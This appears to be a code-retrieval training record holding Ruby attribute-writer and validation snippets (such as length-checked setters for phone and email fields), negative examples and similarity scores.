"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def attribute; end"
] | [
"0.6469466",
"0.63154924",
"0.63154924",
"0.62801963",
"0.6276904",
"0.6209469",
"0.6185987",
"0.6180369",
"0.6069702",
"0.60325414",
"0.5996202",
"0.5990781",
"0.59591186",
"0.5935022",
"0.59287345",
"0.5892344",
"0.58594006",
"0.58489454",
"0.5847319",
"0.5844102",
"0.58309245",
"0.58234525",
"0.5821743",
"0.578401",
"0.57033354",
"0.56943",
"0.5678991",
"0.5676746",
"0.566351",
"0.56564575",
"0.56547743",
"0.5639536",
"0.56198114",
"0.561275",
"0.56096065",
"0.5598718",
"0.55965704",
"0.5595575",
"0.55836296",
"0.5583188",
"0.5582274",
"0.5568424",
"0.5566351",
"0.5564544",
"0.5563798",
"0.556157",
"0.5559787",
"0.5559787",
"0.55586964",
"0.55549264",
"0.55549264",
"0.55371714",
"0.5533541",
"0.55256367",
"0.5525553",
"0.55208707",
"0.5504545",
"0.5498023",
"0.5494999",
"0.54942703",
"0.5463716",
"0.5460371",
"0.545971",
"0.54507726",
"0.544683",
"0.544683",
"0.54346514",
"0.5431235",
"0.5431235",
"0.54237705",
"0.5420334",
"0.54133177",
"0.5408093",
"0.54058015",
"0.540229",
"0.53987634",
"0.53976214",
"0.5389599",
"0.5381615",
"0.537715",
"0.5374951",
"0.5372736",
"0.5369188",
"0.536673",
"0.53626937",
"0.5361245",
"0.5357287",
"0.5349714",
"0.5349563",
"0.53483653",
"0.53470504",
"0.5343208",
"0.5329236",
"0.5329236",
"0.53199697",
"0.53199697",
"0.53199697",
"0.5319374",
"0.53168637",
"0.53128254",
"0.53120893"
] | 0.0 | -1 |
Custom attribute writer method with validation | def mobile_phone=(mobile_phone)
if !mobile_phone.nil? && mobile_phone.to_s.length > 15
fail ArgumentError, "invalid value for 'mobile_phone', the character length must be smaller than or equal to 15."
end
@mobile_phone = mobile_phone
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def validate\n validate_string_attributes\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def attribute; end",
"def attribute; end"
] | [
"0.6472992",
"0.6315012",
"0.6315012",
"0.62821025",
"0.6279224",
"0.6211609",
"0.61891466",
"0.6182247",
"0.60683644",
"0.6032628",
"0.5995443",
"0.5988785",
"0.5959885",
"0.5938289",
"0.5931089",
"0.58951056",
"0.5859927",
"0.5851703",
"0.58493423",
"0.58465594",
"0.58328366",
"0.5823013",
"0.5822229",
"0.57850474",
"0.5701491",
"0.5696689",
"0.5682951",
"0.5678094",
"0.566814",
"0.5657499",
"0.56555206",
"0.5642589",
"0.56219065",
"0.5615893",
"0.56105876",
"0.559851",
"0.5598089",
"0.55940455",
"0.5585137",
"0.55848545",
"0.55796933",
"0.5571477",
"0.5567006",
"0.55667996",
"0.55652434",
"0.5562926",
"0.55600035",
"0.55590326",
"0.55590326",
"0.5554599",
"0.5554599",
"0.55407417",
"0.5534935",
"0.5527733",
"0.55271375",
"0.55238813",
"0.5501504",
"0.5497003",
"0.5496233",
"0.54927665",
"0.5464706",
"0.54617554",
"0.5461167",
"0.5451583",
"0.54498726",
"0.54498726",
"0.54359984",
"0.5430996",
"0.5430996",
"0.5426488",
"0.5418467",
"0.54153895",
"0.54107565",
"0.5407886",
"0.5401234",
"0.54008496",
"0.5400268",
"0.53910094",
"0.53827274",
"0.5377731",
"0.5375473",
"0.5374833",
"0.53720397",
"0.5370215",
"0.5363264",
"0.5361161",
"0.5360557",
"0.5351706",
"0.53514725",
"0.53492516",
"0.53459316",
"0.5341237",
"0.5328037",
"0.5328037",
"0.53230566",
"0.53230566",
"0.53230566",
"0.5319575",
"0.531832",
"0.5315559",
"0.5315559"
] | 0.0 | -1 |
Custom attribute writer method with validation | def office_email=(office_email)
if !office_email.nil? && office_email.to_s.length > 250
fail ArgumentError, "invalid value for 'office_email', the character length must be smaller than or equal to 250."
end
@office_email = office_email
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
